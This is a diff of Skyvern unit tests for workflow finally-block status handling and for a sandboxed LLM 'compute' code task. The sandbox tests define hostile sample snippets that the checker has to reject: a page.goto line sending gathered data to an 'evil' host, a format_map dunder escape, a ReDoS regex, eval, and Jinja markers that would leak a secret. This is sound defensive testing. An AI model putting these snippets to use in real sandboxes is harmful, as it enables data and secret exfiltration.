+ assert conditional_update.await_args.kwargs["status"] == workflow_status
+ assert conditional_update.await_args.kwargs["failure_reason"] == workflow_failure_reason
+
+
+async def test_failed_finally_block_preserves_concurrent_completed_status(
+ monkeypatch: pytest.MonkeyPatch,
+) -> None:
+ completed_run = _workflow_run(WorkflowRunStatus.completed)
+ service = WorkflowService()
+ conditional_failure = AsyncMock()
+ monkeypatch.setattr(service, "_update_workflow_run_status_if_not_final", conditional_failure)
+
+ result_run, final_status, failure_reason = await service._apply_finally_block_result(
+ block=_block(continue_on_failure=False),
+ block_result=_block_result(BlockStatus.failed, failure_reason="cleanup also failed"),
+ workflow_run=completed_run,
+ pre_finally_status=WorkflowRunStatus.completed,
+ pre_finally_failure_reason=None,
+ )
+
+ assert result_run is completed_run
+ assert final_status == WorkflowRunStatus.completed
+ assert failure_reason is None
+ conditional_failure.assert_not_awaited()
+
+
+ ("pre_finally_status", "pre_finally_failure_reason"),
+ [
+ (WorkflowRunStatus.failed, "primary block failed"),
+ (WorkflowRunStatus.terminated, "primary block terminated"),
+ (WorkflowRunStatus.timed_out, "workflow timed out"),
+ (WorkflowRunStatus.canceled, "workflow canceled"),
+ ],
+)
+async def test_failed_finally_block_preserves_earlier_terminal_failure(
+ monkeypatch: pytest.MonkeyPatch,
+ pre_finally_status: WorkflowRunStatus,
+ pre_finally_failure_reason: str,
+) -> None:
+ running_run = _workflow_run(WorkflowRunStatus.running)
+ service = WorkflowService()
+ mark_failed = AsyncMock()
+ monkeypatch.setattr(service, "mark_workflow_run_as_failed", mark_failed)
+
+ result_run, final_status, failure_reason = await service._apply_finally_block_result(
+ block=_block(continue_on_failure=False),
+ block_result=_block_result(BlockStatus.failed, failure_reason="cleanup also failed"),
+ workflow_run=running_run,
+ pre_finally_status=pre_finally_status,
+ pre_finally_failure_reason=pre_finally_failure_reason,
+ )
+
+ assert result_run is running_run
+ assert final_status == pre_finally_status
+ assert failure_reason == pre_finally_failure_reason
+ mark_failed.assert_not_awaited()
+
+
+async def test_canceled_finally_block_preserves_earlier_terminal_failure(
+ monkeypatch: pytest.MonkeyPatch,
+) -> None:
+ running_run = _workflow_run(WorkflowRunStatus.running)
+ service = WorkflowService()
+ conditional_cancel = AsyncMock()
+ monkeypatch.setattr(service, "_update_workflow_run_status_if_not_final", conditional_cancel)
+
+ result_run, final_status, failure_reason = await service._apply_finally_block_result(
+ block=_block(),
+ block_result=_block_result(BlockStatus.canceled),
+ workflow_run=running_run,
+ pre_finally_status=WorkflowRunStatus.failed,
+ pre_finally_failure_reason="primary block failed",
+ )
+
+ assert result_run is running_run
+ assert final_status == WorkflowRunStatus.failed
+ assert failure_reason == "primary block failed"
+ conditional_cancel.assert_not_awaited()
+
+
+async def test_concurrent_cancellation_wins_over_finally_block_failure(
+ monkeypatch: pytest.MonkeyPatch,
+) -> None:
+ running_run = _workflow_run(WorkflowRunStatus.running)
+ canceled_run = _workflow_run(WorkflowRunStatus.canceled)
+ service = WorkflowService()
+ conditional_failure = AsyncMock(return_value=None)
+ monkeypatch.setattr(
+ service,
+ "_update_workflow_run_status_if_not_final",
+ conditional_failure,
+ raising=False,
+ )
+ monkeypatch.setattr(service, "get_workflow_run", AsyncMock(return_value=canceled_run))
+
+ result_run, final_status, failure_reason = await service._apply_finally_block_result(
+ block=_block(continue_on_failure=False),
+ block_result=_block_result(BlockStatus.failed, failure_reason="upload failed"),
+ workflow_run=running_run,
+ pre_finally_status=WorkflowRunStatus.running,
+ pre_finally_failure_reason=None,
+ )
+
+ assert result_run is canceled_run
+ assert final_status == WorkflowRunStatus.canceled
+ assert failure_reason is None
+ conditional_failure.assert_awaited_once()
+
+
+async def test_finally_status_lost_race_falls_back_when_refresh_fails(
+ monkeypatch: pytest.MonkeyPatch,
+) -> None:
+ running_run = _workflow_run(WorkflowRunStatus.running)
+ service = WorkflowService()
+ monkeypatch.setattr(service, "_update_workflow_run_status_if_not_final", AsyncMock(return_value=None))
+ monkeypatch.setattr(service, "get_workflow_run", AsyncMock(side_effect=RuntimeError("row disappeared")))
+
+ result_run, final_status, failure_reason = await service._apply_finally_block_result(
+ block=_block(),
+ block_result=_block_result(BlockStatus.failed, failure_reason="upload failed"),
+ workflow_run=running_run,
+ pre_finally_status=WorkflowRunStatus.running,
+ pre_finally_failure_reason=None,
+ )
+
+ assert result_run is running_run
+ assert final_status == WorkflowRunStatus.running
+ assert failure_reason is None
diff --git a/tests/unit/test_task_v2_compute_task.py b/tests/unit/test_task_v2_compute_task.py
new file mode 100644
index 000000000..4841726c9
--- /dev/null
+++ b/tests/unit/test_task_v2_compute_task.py
@@ -0,0 +1,433 @@
+"""Tests for the task_v2 `compute` task type (code-as-action synthesis).
+
+The compute task type lets the planner synthesize a builtins-only Python snippet that
+computes a deliverable (rank / total / min / max / filter / aggregate) over data already
+gathered by prior extract/loop steps, instead of wheel-spinning on extract trying to author
+the synthesis in prose.
+
+These tests verify:
+- gathered data is injected into the snippet namespace via a safe json.loads literal
+- the generated CodeBlock passes is_safe_code and executes to the expected output
+- the explicit `return {"output": ...}` contract keeps gathered_data out of the output
+- unsafe generated code triggers a repair/regenerate loop, and exhaustion raises
+- the dispatch helper surfaces the computed output back into task history
+"""
+
+import contextlib
+from datetime import datetime, timezone
+from unittest.mock import AsyncMock, MagicMock, patch
+
+import pytest
+
+from skyvern.forge.sdk.workflow.exceptions import InsecureCodeDetected
+from skyvern.forge.sdk.workflow.models.block import CodeBlock
+from skyvern.forge.sdk.workflow.models.parameter import OutputParameter, ParameterType
+from skyvern.schemas.workflows import CodeBlockYAML
+from skyvern.services import task_v2_service
+
+SAFE_SNIPPET = (
+ "tiers = gathered_data[0]['extracted_data']['tiers']\n"
+ "cheapest = min(tiers, key=lambda t: t['price'])\n"
+ "return {'output': cheapest}\n"
+)
+
+UNSAFE_SNIPPET = "import statistics\nreturn {'output': statistics.mean([1, 2, 3])}\n"
+
+# is_safe_code accepts these (no import/dunder/blocked-attr), but compute is data-only so they
+# must be rejected by _assert_compute_code_safe: page exfiltration, await, and a return-less leak.
+PAGE_SNIPPET = "await page.goto('https://evil/?d=' + json.dumps(gathered_data))\nreturn {'output': 1}\n"
+PAGE_NAME_SNIPPET = "leak = page\nreturn {'output': 1}\n"
+RETURNLESS_SNIPPET = "output = min(gathered_data[0]['extracted_data']['tiers'], key=lambda t: t['price'])\n"
+# Returns a value but not the {"output": ...} contract — _get_extracted_data would drop it.
+RETURN_RAW_SNIPPET = "return min(gathered_data[0]['extracted_data']['tiers'], key=lambda t: t['price'])\n"
+
+GATHERED: list[dict] = [
+ {
+ "type": "extract",
+ "task": "extract pricing tiers",
+ "status": "BlockStatus.completed",
+ "extracted_data": {
+ "tiers": [
+ {"name": "Basic", "price": 30},
+ {"name": "Pro", "price": 10},
+ {"name": "Enterprise", "price": 20},
+ ]
+ },
+ }
+]
+
+EXPECTED_CHEAPEST = {"name": "Pro", "price": 10}
+
+
+def _make_output_parameter() -> OutputParameter:
+ now = datetime.now(timezone.utc)
+ return OutputParameter(
+ parameter_type=ParameterType.OUTPUT,
+ key="compute_output",
+ description="compute output",
+ output_parameter_id="op_compute",
+ workflow_id="w_test",
+ created_at=now,
+ modified_at=now,
+ )
+
+
+def _make_task_v2() -> MagicMock:
+ task_v2 = MagicMock()
+ task_v2.prompt = "Find the cheapest pricing tier"
+ task_v2.organization_id = "o_test"
+ task_v2.workflow_system_prompt = None
+ return task_v2
+
+
+def _patch_service(llm_return: object):
+ """Patch the LLM handler, workflow service, prompt loader, and context used by _generate_compute_task.
+
+ `llm_return` is a single dict (return_value) or a list (side_effect for repair sequences).
+ Yields the LLM AsyncMock so tests can assert call counts.
+ """
+ if isinstance(llm_return, list):
+ llm_mock = AsyncMock(side_effect=llm_return)
+ else:
+ llm_mock = AsyncMock(return_value=llm_return)
+ ws_mock = MagicMock()
+ ws_mock.create_output_parameter_for_block = AsyncMock(return_value=_make_output_parameter())
+ ctx = MagicMock(tz_info=timezone.utc)
+ # app is a proxy whose attrs live on the forge stub instance; patch.object's delattr-based
+ # teardown breaks on it, so save/restore via setattr (the repo's monkeypatch.setattr pattern).
+ app_obj = task_v2_service.app
+ saved = {name: getattr(app_obj, name) for name in ("LLM_API_HANDLER", "WORKFLOW_SERVICE")}
+ app_obj.LLM_API_HANDLER = llm_mock
+ app_obj.WORKFLOW_SERVICE = ws_mock
+ try:
+ with (
+ patch.object(task_v2_service.prompt_engine, "load_prompt", MagicMock(return_value="PROMPT")),
+ patch.object(task_v2_service.skyvern_context, "ensure_context", MagicMock(return_value=ctx)),
+ ):
+ yield llm_mock
+ finally:
+ for name, value in saved.items():
+ setattr(app_obj, name, value)
+
+
+async def _run_codeblock(code: str) -> dict:
+ block = CodeBlock(label="t", code=code, parameters=[], output_parameter=_make_output_parameter())
+ fn = block.generate_async_user_function(code, MagicMock(), None)
+ return await fn()
+
+
+class TestBuildComputeCode:
+ def test_injects_gathered_data_as_safe_literal(self) -> None:
+ code = task_v2_service._build_compute_code(GATHERED, SAFE_SNIPPET)
+ assert code.startswith("gathered_data = json.loads(")
+ # The assembled code (injection + snippet) must pass the real sandbox gate.
+ CodeBlock.is_safe_code(code)
+
+ @pytest.mark.asyncio
+ async def test_assembled_code_executes_to_expected_output(self) -> None:
+ code = task_v2_service._build_compute_code(GATHERED, SAFE_SNIPPET)
+ result = await _run_codeblock(code)
+ assert result == {"output": EXPECTED_CHEAPEST}
+ # explicit-return contract: the embedded gathered_data must not leak into output
+ assert "gathered_data" not in result
+
+ def test_indented_snippet_is_normalized(self) -> None:
+ indented = " x = gathered_data[0]['extracted_data']['tiers']\n return {'output': len(x)}\n"
+ code = task_v2_service._build_compute_code(GATHERED, indented)
+ CodeBlock.is_safe_code(code)
+
+
+class TestGenerateComputeTask:
+ @pytest.mark.asyncio
+ async def test_happy_path_returns_safe_codeblock(self) -> None:
+ with _patch_service({"code": SAFE_SNIPPET}):
+ block, block_yaml_list, parameter_yaml_list = await task_v2_service._generate_compute_task(
+ task_v2=_make_task_v2(),
+ workflow_id="w_test",
+ plan="pick the cheapest tier",
+ task_history=GATHERED,
+ )
+ assert isinstance(block, CodeBlock)
+ assert len(block_yaml_list) == 1
+ assert isinstance(block_yaml_list[0], CodeBlockYAML)
+ assert parameter_yaml_list == []
+ assert block.code.startswith("gathered_data = json.loads(")
+ CodeBlock.is_safe_code(block.code)
+
+ @pytest.mark.asyncio
+ async def test_generated_block_executes_to_expected_output(self) -> None:
+ with _patch_service({"code": SAFE_SNIPPET}):
+ block, _, _ = await task_v2_service._generate_compute_task(
+ task_v2=_make_task_v2(),
+ workflow_id="w_test",
+ plan="pick the cheapest tier",
+ task_history=GATHERED,
+ )
+ result = await _run_codeblock(block.code)
+ assert result == {"output": EXPECTED_CHEAPEST}
+
+ @pytest.mark.asyncio
+ async def test_unsafe_code_triggers_repair_then_succeeds(self) -> None:
+ with _patch_service([{"code": UNSAFE_SNIPPET}, {"code": SAFE_SNIPPET}]) as llm_mock:
+ block, _, _ = await task_v2_service._generate_compute_task(
+ task_v2=_make_task_v2(),
+ workflow_id="w_test",
+ plan="pick the cheapest tier",
+ task_history=GATHERED,
+ )
+ assert llm_mock.await_count == 2
+ # the returned block must hold the *repaired* safe code, never the import-bearing attempt
+ CodeBlock.is_safe_code(block.code)
+ assert "import statistics" not in block.code
+
+ @pytest.mark.asyncio
+ async def test_repair_exhaustion_raises(self) -> None:
+ with _patch_service({"code": UNSAFE_SNIPPET}) as llm_mock:
+ with pytest.raises(InsecureCodeDetected):
+ await task_v2_service._generate_compute_task(
+ task_v2=_make_task_v2(),
+ workflow_id="w_test",
+ plan="pick the cheapest tier",
+ task_history=GATHERED,
+ )
+ assert llm_mock.await_count == 3 # all attempts exhausted (max_attempts)
+
+ @pytest.mark.asyncio
+ async def test_empty_code_is_retried_not_silently_accepted(self) -> None:
+ # An empty/missing code field would assemble to just the injection line (no return), which
+ # passes is_safe_code but yields no "output" — must be retried, not silently accepted.
+ with _patch_service([{"thoughts": "oops"}, {"code": SAFE_SNIPPET}]) as llm_mock:
+ block, _, _ = await task_v2_service._generate_compute_task(
+ task_v2=_make_task_v2(),
+ workflow_id="w_test",
+ plan="pick the cheapest tier",
+ task_history=GATHERED,
+ )
+ assert llm_mock.await_count == 2
+ result = await _run_codeblock(block.code)
+ assert result == {"output": EXPECTED_CHEAPEST}
+
+ @pytest.mark.asyncio
+ async def test_all_empty_code_raises(self) -> None:
+ with _patch_service({"thoughts": "no code here"}):
+ with pytest.raises(InsecureCodeDetected):
+ await task_v2_service._generate_compute_task(
+ task_v2=_make_task_v2(),
+ workflow_id="w_test",
+ plan="pick the cheapest tier",
+ task_history=GATHERED,
+ )
+
+ @pytest.mark.asyncio
+ async def test_no_gathered_data_raises(self) -> None:
+ history_without_data = [{"type": "navigate", "task": "open page", "status": "BlockStatus.completed"}]
+ with _patch_service({"code": SAFE_SNIPPET}):
+ with pytest.raises(task_v2_service.ComputeTaskError):
+ await task_v2_service._generate_compute_task(
+ task_v2=_make_task_v2(),
+ workflow_id="w_test",
+ plan="pick the cheapest tier",
+ task_history=history_without_data,
+ )
+
+
+class TestComputeCodeSafety:
+ def test_page_reference_rejected(self) -> None:
+ code = task_v2_service._build_compute_code(GATHERED, PAGE_NAME_SNIPPET)
+ CodeBlock.is_safe_code(code) # is_safe_code alone does NOT catch page
+ with pytest.raises(InsecureCodeDetected):
+ task_v2_service._assert_compute_code_safe(code)
+
+ def test_await_rejected(self) -> None:
+ code = task_v2_service._build_compute_code(GATHERED, PAGE_SNIPPET)
+ with pytest.raises(InsecureCodeDetected):
+ task_v2_service._assert_compute_code_safe(code)
+
+ def test_returnless_snippet_rejected(self) -> None:
+ code = task_v2_service._build_compute_code(GATHERED, RETURNLESS_SNIPPET)
+ CodeBlock.is_safe_code(code) # passes is_safe_code (no import/dunder)
+ with pytest.raises(InsecureCodeDetected):
+ task_v2_service._assert_compute_code_safe(code)
+
+ def test_return_without_output_key_rejected(self) -> None:
+ # `return <value>` (not the {"output": ...} contract) would be dropped downstream.
+ code = task_v2_service._build_compute_code(GATHERED, RETURN_RAW_SNIPPET)
+ CodeBlock.is_safe_code(code)
+ with pytest.raises(InsecureCodeDetected):
+ task_v2_service._assert_compute_code_safe(code)
+
+ def test_nested_only_return_rejected(self) -> None:
+ # An output dict returned only from a nested helper (no outer return) leaks via captured locals.
+ nested = "def helper():\n return {'output': 1}\nanswer = helper()\n"
+ code = task_v2_service._build_compute_code(GATHERED, nested)
+ CodeBlock.is_safe_code(code)
+ with pytest.raises(InsecureCodeDetected):
+ task_v2_service._assert_compute_code_safe(code)
+
+ def test_outer_return_with_helper_passes(self) -> None:
+ # A helper is fine as long as the snippet itself returns the output dict at the outer scope.
+ with_helper = (
+ "def price(t):\n return t['price']\n"
+ "ranked = sorted(gathered_data[0]['extracted_data']['tiers'], key=price)\n"
+ "return {'output': ranked[0]}\n"
+ )
+ code = task_v2_service._build_compute_code(GATHERED, with_helper)
+ CodeBlock.is_safe_code(code)
+ task_v2_service._assert_compute_code_safe(code) # does not raise
+
+ def test_valid_snippet_passes(self) -> None:
+ code = task_v2_service._build_compute_code(GATHERED, SAFE_SNIPPET)
+ task_v2_service._assert_compute_code_safe(code) # does not raise
+
+ def test_format_map_dunder_escape_rejected(self) -> None:
+ # "{x.__class__}".format_map(...) reaches dunders via a string literal the AST can't see.
+ snippet = "leak = '{x.__class__}'.format_map({'x': 1})\nreturn {'output': leak}\n"
+ code = task_v2_service._build_compute_code(GATHERED, snippet)
+ with pytest.raises(InsecureCodeDetected):
+ task_v2_service._assert_compute_code_safe(code)
+
+ def test_str_format_rejected(self) -> None:
+ snippet = "s = '{0}'.format(gathered_data)\nreturn {'output': s}\n"
+ code = task_v2_service._build_compute_code(GATHERED, snippet)
+ with pytest.raises(InsecureCodeDetected):
+ task_v2_service._assert_compute_code_safe(code)
+
+ def test_while_loop_rejected(self) -> None:
+ # Unbounded while can't be interrupted by the async timeout (synchronous busy-loop).
+ snippet = "while True:\n pass\nreturn {'output': 1}\n"
+ code = task_v2_service._build_compute_code(GATHERED, snippet)
+ CodeBlock.is_safe_code(code)
+ with pytest.raises(InsecureCodeDetected):
+ task_v2_service._assert_compute_code_safe(code)
+
+ def test_regex_rejected(self) -> None:
+ # re is in the sandbox and enables catastrophic-backtracking ReDoS over scraped data.
+ snippet = "m = re.match('(a+)+$', 'a' * 40)\nreturn {'output': bool(m)}\n"
+ code = task_v2_service._build_compute_code(GATHERED, snippet)
+ CodeBlock.is_safe_code(code)
+ with pytest.raises(InsecureCodeDetected):
+ task_v2_service._assert_compute_code_safe(code)
+
+ def test_eval_rejected(self) -> None:
+ snippet = "v = eval('1+1')\nreturn {'output': v}\n"
+ code = task_v2_service._build_compute_code(GATHERED, snippet)
+ with pytest.raises(InsecureCodeDetected):
+ task_v2_service._assert_compute_code_safe(code)
+
+ def test_jinja_markers_in_snippet_rejected(self) -> None:
+ # CODE blocks resolve real secrets when Jinja-rendered; a {{ ... }} in the snippet body
+ # would exfiltrate a live secret into the output. The data literal is escaped, but the
+ # snippet body is not, so opening Jinja tags must be rejected outright.
+ snippet = "secret = '{{ org_real_password }}'\nreturn {'output': secret}\n"
+ code = task_v2_service._build_compute_code(GATHERED, snippet)
+ CodeBlock.is_safe_code(code) # is_safe_code does not see Jinja inside a string literal
+ with pytest.raises(InsecureCodeDetected):
+ task_v2_service._assert_compute_code_safe(code)
+
+ def test_jinja_statement_in_snippet_rejected(self) -> None:
+ snippet = "x = '{% if 1 %}a{% endif %}'\nreturn {'output': x}\n"
+ code = task_v2_service._build_compute_code(GATHERED, snippet)
+ with pytest.raises(InsecureCodeDetected):
+ task_v2_service._assert_compute_code_safe(code)
+
+ def test_nested_dict_output_still_passes(self) -> None:
+ # Guard against false positives: a legit nested-dict deliverable ends with }} but has no
+ # opening Jinja marker, so it must NOT be rejected.
+ snippet = "return {'output': {'a': 1, 'b': {'c': 2}}}\n"
+ code = task_v2_service._build_compute_code(GATHERED, snippet)
+ task_v2_service._assert_compute_code_safe(code) # does not raise
+
+ def test_guarded_return_rejected(self) -> None:
+ # A guarded return is not the unconditional final statement: at runtime it falls through to
+ # the wrapper's captured-locals return, leaking gathered_data.
+ snippet = "tiers = gathered_data[0]['extracted_data']['tiers']\nif tiers:\n return {'output': tiers[0]}\n"
+ code = task_v2_service._build_compute_code(GATHERED, snippet)
+ CodeBlock.is_safe_code(code)
+ with pytest.raises(InsecureCodeDetected):
+ task_v2_service._assert_compute_code_safe(code)
+
+ @pytest.mark.asyncio
+ async def test_page_snippet_triggers_repair(self) -> None:
+ with _patch_service([{"code": PAGE_SNIPPET}, {"code": SAFE_SNIPPET}]) as llm_mock:
+ block, _, _ = await task_v2_service._generate_compute_task(
+ task_v2=_make_task_v2(),
+ workflow_id="w_test",
+ plan="pick the cheapest tier",
+ task_history=GATHERED,
+ )
+ assert llm_mock.await_count == 2
+ assert "page" not in block.code
+
+ def test_jinja_in_gathered_data_is_neutralized(self) -> None:
+ # Web-derived data with Jinja markers must not survive as markers in the code (CodeBlock
+ # Jinja-renders code before exec); the brace/percent chars are hex-escaped in the source.
+ jinja_gathered = [{"type": "extract", "task": "t", "extracted_data": {"label": "{{ price }} {% raw %} 50%"}}]
+ code = task_v2_service._build_compute_code(jinja_gathered, SAFE_SNIPPET)
+ injection_line = code.splitlines()[0]
+ assert "{{" not in injection_line
+ assert "{%" not in injection_line
+ assert "%}" not in injection_line
+
+ @pytest.mark.asyncio
+ async def test_jinja_data_round_trips_through_execution(self) -> None:
+ jinja_gathered = [{"type": "extract", "task": "t", "extracted_data": {"v": "{{ x }}"}}]
+ snippet = "return {'output': gathered_data[0]['extracted_data']['v']}\n"
+ code = task_v2_service._build_compute_code(jinja_gathered, snippet)
+ result = await _run_codeblock(code)
+ assert result == {"output": "{{ x }}"}
+
+
+class TestGetExtractedDataComputeBranch:
+ def test_compute_branch_returns_output_value(self) -> None:
+ block_result = MagicMock()
+ block_result.output_parameter_value = {"output": EXPECTED_CHEAPEST}
+ extracted = task_v2_service._get_extracted_data_from_block_result(block_result, "compute")
+ assert extracted == EXPECTED_CHEAPEST
+
+ def test_compute_branch_returns_none_when_no_output_key(self) -> None:
+ block_result = MagicMock()
+ block_result.output_parameter_value = {"unexpected": 1}
+ extracted = task_v2_service._get_extracted_data_from_block_result(block_result, "compute")
+ assert extracted is None
+
+
+class TestComputeGating:
+ def _render_planner(self, compute_enabled: bool) -> str:
+ from skyvern.forge.prompts import prompt_engine
+
+ return prompt_engine.load_prompt(
+ "task_v2",
+ current_url="https://example.com",
+ elements="",
+ local_datetime=datetime.now(timezone.utc).isoformat(),
+ task_history=[],
+ user_goal="compare the plan tiers",
+ compute_enabled=compute_enabled,
+ )
+
+ def test_compute_advertised_when_enabled(self) -> None:
+ rendered = self._render_planner(True)
+ assert "compute:" in rendered
+ assert "extract, loop, compute" in rendered
+
+ def test_compute_hidden_when_disabled(self) -> None:
+ rendered = self._render_planner(False)
+ assert "compute:" not in rendered
+ assert "extract, loop, compute" not in rendered
+ assert "extract, loop." in rendered # enum closes without compute
+
+
+class TestComputePromptTemplate:
+ def test_template_renders_with_gathered_data(self) -> None:
+ from skyvern.forge.prompts import prompt_engine
+
+ rendered = prompt_engine.load_prompt(
+ "task_v2_generate_compute_code",
+ user_goal="Find the cheapest pricing tier",
+ plan="pick the cheapest tier",
+ gathered_data=GATHERED,
+ local_datetime=datetime.now(timezone.utc).isoformat(),
+ )
+ assert "gathered_data" in rendered
+ assert "output" in rendered
diff --git a/tests/unit/test_workflow_elapsed_timeout.py b/tests/unit/test_workflow_elapsed_timeout.py
index 88595baf7..35c4e77c8 100644
--- a/tests/unit/test_workflow_elapsed_timeout.py
+++ b/tests/unit/test_workflow_elapsed_timeout.py
@@ -658,6 +658,7 @@ async def test_shield_post_run_elapsed_timeout_waits_for_status_write_after_canc
mark_workflow_run_as_timed_out.assert_awaited_once_with(
workflow_run_id="wr_1",
failure_reason="timed out",
+ fallback_workflow_run=running_run,
)
@@ -696,6 +697,7 @@ async def test_shield_post_run_elapsed_timeout_falls_back_when_handler_fails_aft
mark_workflow_run_as_timed_out.assert_awaited_once_with(
workflow_run_id="wr_1",
failure_reason="timed out",
+ fallback_workflow_run=running_run,
)
@@ -792,7 +794,7 @@ async def test_execute_workflow_refreshes_terminal_status_after_immediate_post_r
@pytest.mark.asyncio
-async def test_execute_workflow_returns_finalized_status_after_post_run_timeout(
+async def test_execute_workflow_refreshes_failed_status_after_finally_write_times_out(
monkeypatch: pytest.MonkeyPatch,
) -> None:
started_at = datetime.now(timezone.utc)
@@ -823,7 +825,7 @@ async def test_execute_workflow_returns_finalized_status_after_post_run_timeout(
)
database = SimpleNamespace(
workflow_runs=SimpleNamespace(
- get_workflow_run=AsyncMock(return_value=failed_run),
+ get_workflow_run=AsyncMock(side_effect=[running_run, failed_run]),
),
)
timeout_seconds = iter([10.0, 0.01])
@@ -864,7 +866,7 @@ async def test_execute_workflow_returns_finalized_status_after_post_run_timeout(
monkeypatch.setattr(svc, "auto_create_browser_session_if_needed", AsyncMock(return_value=None))
monkeypatch.setattr(svc, "_browser_profile_is_managed", AsyncMock(return_value=False))
monkeypatch.setattr(svc, "mark_workflow_run_as_timed_out", mark_workflow_run_as_timed_out)
- monkeypatch.setattr(svc, "_execute_workflow_blocks", AsyncMock(return_value=(failed_run, set())))
+ monkeypatch.setattr(svc, "_execute_workflow_blocks", AsyncMock(return_value=(running_run, set())))
monkeypatch.setattr(svc, "generate_script_if_needed", AsyncMock())
monkeypatch.setattr(svc, "should_run_script", AsyncMock(return_value=False))
monkeypatch.setattr(svc, "_update_workflow_run_status", update_workflow_run_status)
@@ -880,11 +882,7 @@ async def test_execute_workflow_returns_finalized_status_after_post_run_timeout(
assert result is failed_run
mark_workflow_run_as_timed_out.assert_not_awaited()
- update_workflow_run_status.assert_awaited_once_with(
- workflow_run_id="wr_1",
- status=WorkflowRunStatus.running,
- failure_reason=None,
- )
+ update_workflow_run_status.assert_not_awaited()
execute_finally_block_if_configured.assert_awaited_once()
finalize_workflow_run_status.assert_awaited_once()
clean_up_workflow.assert_awaited_once()
@@ -940,7 +938,7 @@ async def test_execute_workflow_runs_finally_for_existing_timed_out_status(
svc = WorkflowService()
mark_workflow_run_as_timed_out = AsyncMock(return_value=timed_out_run)
update_workflow_run_status = AsyncMock(return_value=running_run)
- execute_finally_block_if_configured = AsyncMock()
+ execute_finally_block_if_configured = AsyncMock(return_value=None)
finalize_workflow_run_status = AsyncMock(return_value=timed_out_run)
clean_up_workflow = AsyncMock()
@@ -1088,6 +1086,7 @@ async def test_finalize_completed_noops_when_backstop_already_failed_run(
assert result.status == WorkflowRunStatus.failed
conditional.assert_awaited_once()
+ assert conditional.await_args is not None
assert conditional.await_args.kwargs["status"] == WorkflowRunStatus.completed
cascade.assert_not_awaited()
diff --git a/tests/unit/test_workflow_runs_repository_refresh.py b/tests/unit/test_workflow_runs_repository_refresh.py
index 130d1e0c6..cb285152f 100644
--- a/tests/unit/test_workflow_runs_repository_refresh.py
+++ b/tests/unit/test_workflow_runs_repository_refresh.py
@@ -3,6 +3,7 @@
from unittest.mock import AsyncMock, MagicMock, patch
import pytest
+from sqlalchemy.sql.sqltypes import NullType
from skyvern.forge.sdk.db.repositories.workflow_runs import WorkflowRunsRepository
from skyvern.forge.sdk.workflow.models.workflow import WorkflowRunStatus
@@ -128,3 +129,64 @@ async def test_returns_none_without_calling_save_or_refresh_when_no_row_updated(
mock_save.assert_not_awaited()
session.refresh.assert_not_awaited()
mock_convert.assert_not_called()
+
+
+async def test_preexisting_timeout_finish_only_updates_unfinished_timeout() -> None:
+ mock_workflow_run = MagicMock()
+ mock_workflow_run.workflow_run_id = "wr_test"
+ repo, session = _make_repo_with_session(mock_workflow_run)
+
+ failure_category = [{"category": "TIMEOUT"}]
+ with (
+ patch(
+ "skyvern.forge.sdk.db.repositories.workflow_runs.save_workflow_run_logs",
+ new=AsyncMock(),
+ ),
+ patch(
+ "skyvern.forge.sdk.db.repositories.workflow_runs.convert_to_workflow_run",
+ return_value=MagicMock(),
+ ),
+ ):
+ await repo.finish_preexisting_timed_out_workflow_run(
+ workflow_run_id="wr_test",
+ failure_reason="workflow timed out",
+ failure_category=failure_category,
+ )
+
+ statement = session.execute.await_args.args[0]
+ statement_sql = str(statement)
+ compiled_statement = statement.compile()
+ statement_parameters = compiled_statement.params
+ assert WorkflowRunStatus.timed_out.value in statement_parameters.values()
+ assert "workflow_runs.finished_at IS NULL" in statement_sql
+ assert "coalesce(workflow_runs.failure_reason" in statement_sql
+ failure_category_binds = [bind for bind in compiled_statement.binds.values() if bind.value == failure_category]
+ assert failure_category_binds
+ assert all(not isinstance(bind.type, NullType) for bind in failure_category_binds)
+
+
+async def test_bulk_update_can_guard_status_and_returns_only_updated_ids() -> None:
+ execute_result = MagicMock()
+ execute_result.scalars.return_value.all.return_value = ["wr_running"]
+ session = AsyncMock()
+ session.execute = AsyncMock(return_value=execute_result)
+ session.commit = AsyncMock()
+ repo = WorkflowRunsRepository(session_factory=lambda: MockAsyncSessionCtx(session))
+
+ result = await repo.bulk_update_workflow_runs(
+ workflow_run_ids=["wr_running", "wr_completed"],
+ status=WorkflowRunStatus.timed_out,
+ only_if_status_in=[WorkflowRunStatus.running],
+ )
+
+ statement = session.execute.await_args.args[0]
+ statement_sql = str(statement)
+ statement_parameters = statement.compile().params
+ assert result == ["wr_running"]
+ assert "workflow_runs.status IN" in statement_sql
+ assert [WorkflowRunStatus.running.value] in statement_parameters.values()
+ assert statement_parameters["finished_at"] is None
+ assert statement_parameters["failure_reason"] is None
+ assert statement_parameters["failure_category"] is None
diff --git a/tests/unit/test_workflow_service_managed_browser_profile.py b/tests/unit/test_workflow_service_managed_browser_profile.py
index 9dd3cc3fd..d3892cfcd 100644
--- a/tests/unit/test_workflow_service_managed_browser_profile.py
+++ b/tests/unit/test_workflow_service_managed_browser_profile.py
@@ -1,5 +1,6 @@
from __future__ import annotations
+import asyncio
from datetime import UTC, datetime
from types import SimpleNamespace
from unittest.mock import AsyncMock
@@ -19,6 +20,7 @@ from skyvern.forge.sdk.workflow.service import (
WorkflowBrowserCleanupResult,
WorkflowService,
)
+from skyvern.schemas.workflows import BlockStatus
def _workflow(browser_profile_key: str | None = None) -> SimpleNamespace:
@@ -433,6 +435,210 @@ async def test_execute_workflow_persists_managed_profile_before_final_status(
svc._persist_workflow_browser_session_if_needed.assert_awaited_once()
+async def test_execute_workflow_persists_profile_when_only_finally_block_fails(
+ monkeypatch: pytest.MonkeyPatch,
+) -> None:
+ workflow = _execute_workflow()
+ workflow.workflow_definition.finally_block_label = "cleanup"
+ failed_run = _execute_workflow_run(WorkflowRunStatus.failed)
+ failed_run.failure_reason = "cleanup failed"
+ order: list[str] = []
+
+ svc = WorkflowService()
+ _patch_execute_workflow_deps(monkeypatch, svc, workflow, _execute_workflow_run(WorkflowRunStatus.running))
+ monkeypatch.setattr(
+ svc,
+ "_execute_finally_block_if_configured",
+ AsyncMock(
+ return_value=(
+ SimpleNamespace(label="cleanup", block_type="cloud_storage", continue_on_failure=False),
+ SimpleNamespace(
+ status=BlockStatus.failed,
+ failure_reason="cleanup failed",
+ output_parameter_value=None,
+ ),
+ )
+ ),
+ )
+ apply_finally_result = AsyncMock(
+ return_value=(failed_run, WorkflowRunStatus.failed, failed_run.failure_reason),
+ )
+ monkeypatch.setattr(svc, "_apply_finally_block_result", apply_finally_result)
+ clean_up_browser = _patch_browser_cleanup(monkeypatch, svc, order)
+ monkeypatch.setattr(
+ svc,
+ "_persist_workflow_browser_session_if_needed",
+ AsyncMock(side_effect=lambda **_kwargs: order.append("store")),
+ )
